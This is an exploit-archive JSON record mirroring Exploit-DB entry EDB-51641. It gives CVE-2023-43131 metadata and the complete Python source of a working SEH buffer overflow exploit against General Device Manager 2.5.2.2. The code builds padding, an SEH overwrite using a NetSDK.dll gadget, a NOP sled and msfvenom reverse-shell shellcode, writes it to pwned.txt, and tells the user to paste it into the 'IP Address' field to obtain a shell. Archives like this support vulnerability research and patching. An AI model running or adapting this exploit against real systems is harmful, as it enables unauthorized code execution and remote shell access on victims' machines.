{"exploit":{"id":"EDB-51641","name":"General Device Manager 2.5.2.2 - 'IP Address' SEH Buffer Overflow","description":"General Device Manager 2.5.2.2 - 'IP Address' SEH Buffer Overflow","cves":["CVE-2023-43131"],"author":"Ahmet Ümit BAYRAM","published":"2023-07-31","platform":"windows","type":"local","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/51641","path":"exploits/windows/local/51641.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-51641.py","vulnerabilities":[{"id":"CVE-2023-43131","state":"PUBLISHED","title":null,"titleSource":null,"description":"General Device Manager 2.5.2.2 is vulnerable to Buffer Overflow.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2023-43131","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2023-43131"},"updatedAt":"2024-09-24T17:32:45.975Z","retrievedAt":"2026-11-26T19:10:22.441Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-51641.png?v=2","url":"https://exploitbin.com/exploits/EDB-51641","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-51641/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-51641/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: General Device Manager 2.5.2.2 - Buffer Overflow (SEH)\n# Date: 30.07.2023\n# Software Link: https://download.xm030.cn/d/MDAwMDA2NTQ=\n# Software Link 2:\nhttps://www.maxiguvenlik.com/uploads/importfiles/General_DeviceManager.zip\n# Exploit Author: Ahmet Ümit BAYRAM\n# Tested Version: 2.5.2.2\n# Tested on: Windows 10 64bit\n\n# 1.- Run python code : exploit.py\n# 2.- Open pwned.txt and copy all content to clipboard\n# 3.- Open Device Manage and press Add Device\n# 4.- Paste the content of pwned.txt into the 'IP Address'\n# 5.- Click 'OK'\n# 6.- nc.exe local IP Port 1337 and you will have a bind shell\n# 7.- R.I.P. Condor <3\n\nimport struct\n\noffset = b\"A\" * 1308\n\nnseh = b\"\\xEB\\x06\\x90\\x90\" # jmp short\n\nseh = struct.pack('<I', 0x10081827) # 0x10081827 : pop ebx # pop esi # ret  | ascii {PAGE_EXECUTE_READ} [NetSDK.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v4.0.8.66 (C:\\Program Files (x86)\\DeviceManage\\NetSDK.dll)\n\n\nnops = b\"\\x90\" * 32\n\n#shellcode: msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1  LPORT=1337 EXITFUNC=thread -a x86 --platform windows -b \"\\x00\\x0a\\x0d\" -f python --var-name shellcode\n\nshellcode =  b\"\"\nshellcode += b\"\\xd9\\xc6\\xbb\\xae\\xc7\\xed\\x8e\\xd9\\x74\\x24\\xf4\"\nshellcode += b\"\\x5a\\x29\\xc9\\xb1\\x52\\x83\\xea\\xfc\\x31\\x5a\\x13\"\nshellcode += b\"\\x03\\xf4\\xd4\\x0f\\x7b\\xf4\\x33\\x4d\\x84\\x04\\xc4\"\nshellcode += b\"\\x32\\x0c\\xe1\\xf5\\x72\\x6a\\x62\\xa5\\x42\\xf8\\x26\"\nshellcode += b\"\\x4a\\x28\\xac\\xd2\\xd9\\x5c\\x79\\xd5\\x6a\\xea\\x5f\"\nshellcode += b\"\\xd8\\x6b\\x47\\xa3\\x7b\\xe8\\x9a\\xf0\\x5b\\xd1\\x54\"\nshellcode += b\"\\x05\\x9a\\x16\\x88\\xe4\\xce\\xcf\\xc6\\x5b\\xfe\\x64\"\nshellcode += b\"\\x92\\x67\\x75\\x36\\x32\\xe0\\x6a\\x8f\\x35\\xc1\\x3d\"\nshellcode += b\"\\x9b\\x6f\\xc1\\xbc\\x48\\x04\\x48\\xa6\\x8d\\x21\\x02\"\nshellcode += b\"\\x5d\\x65\\xdd\\x95\\xb7\\xb7\\x1e\\x39\\xf6\\x77\\xed\"\nshellcode += b\"\\x43\\x3f\\xbf\\x0e\\x36\\x49\\xc3\\xb3\\x41\\x8e\\xb9\"\nshellcode += b\"\\x6f\\xc7\\x14\\x19\\xfb\\x7f\\xf0\\x9b\\x28\\x19\\x73\"\nshellcode += b\"\\x97\\x85\\x6d\\xdb\\xb4\\x18\\xa1\\x50\\xc0\\x91\\x44\"\nshellcode += b\"\\xb6\\x40\\xe1\\x62\\x12\\x08\\xb1\\x0b\\x03\\xf4\\x14\"\nshellcode += b\"\\x33\\x53\\x57\\xc8\\x91\\x18\\x7a\\x1d\\xa8\\x43\\x13\"\nshellcode += b\"\\xd2\\x81\\x7b\\xe3\\x7c\\x91\\x08\\xd1\\x23\\x09\\x86\"\nshellcode += b\"\\x59\\xab\\x97\\x51\\x9d\\x86\\x60\\xcd\\x60\\x29\\x91\"\nshellcode += b\"\\xc4\\xa6\\x7d\\xc1\\x7e\\x0e\\xfe\\x8a\\x7e\\xaf\\x2b\"\nshellcode += b\"\\x1c\\x2e\\x1f\\x84\\xdd\\x9e\\xdf\\x74\\xb6\\xf4\\xef\"\nshellcode += b\"\\xab\\xa6\\xf7\\x25\\xc4\\x4d\\x02\\xae\\x94\\x91\\x0c\"\nshellcode += b\"\\x2f\\x03\\x90\\x0c\\x2a\\xea\\x1d\\xea\\x5e\\x1c\\x48\"\nshellcode += b\"\\xa5\\xf6\\x85\\xd1\\x3d\\x66\\x49\\xcc\\x38\\xa8\\xc1\"\nshellcode += b\"\\xe3\\xbd\\x67\\x22\\x89\\xad\\x10\\xc2\\xc4\\x8f\\xb7\"\nshellcode += b\"\\xdd\\xf2\\xa7\\x54\\x4f\\x99\\x37\\x12\\x6c\\x36\\x60\"\nshellcode += b\"\\x73\\x42\\x4f\\xe4\\x69\\xfd\\xf9\\x1a\\x70\\x9b\\xc2\"\nshellcode += b\"\\x9e\\xaf\\x58\\xcc\\x1f\\x3d\\xe4\\xea\\x0f\\xfb\\xe5\"\nshellcode += b\"\\xb6\\x7b\\x53\\xb0\\x60\\xd5\\x15\\x6a\\xc3\\x8f\\xcf\"\nshellcode += b\"\\xc1\\x8d\\x47\\x89\\x29\\x0e\\x11\\x96\\x67\\xf8\\xfd\"\nshellcode += b\"\\x27\\xde\\xbd\\x02\\x87\\xb6\\x49\\x7b\\xf5\\x26\\xb5\"\nshellcode += b\"\\x56\\xbd\\x47\\x54\\x72\\xc8\\xef\\xc1\\x17\\x71\\x72\"\nshellcode += b\"\\xf2\\xc2\\xb6\\x8b\\x71\\xe6\\x46\\x68\\x69\\x83\\x43\"\nshellcode += b\"\\x34\\x2d\\x78\\x3e\\x25\\xd8\\x7e\\xed\\x46\\xc9\"\n\n\nfinal_payload = offset + nseh + seh + nops + shellcode\n\n# write the final payload to a file\ntry:\n    with open('pwned.txt', 'wb') as f:\n        print(\"[+] Creating %s bytes evil payload...\" %len(final_payload))\n        f.write(final_payload)\n        f.close()\n        print(\"[+] File created!\")\nexcept:\n    print(\"File cannot be created!\")","sha256":"f28a993387a775feee951eaa293d97ab1955c63e5e601dc4b96f138c8e137a2a","bytes":3443,"fetchedAt":"2026-11-27T16:10:00.968Z","encoding":"utf-8 (display only; download retains original bytes)"}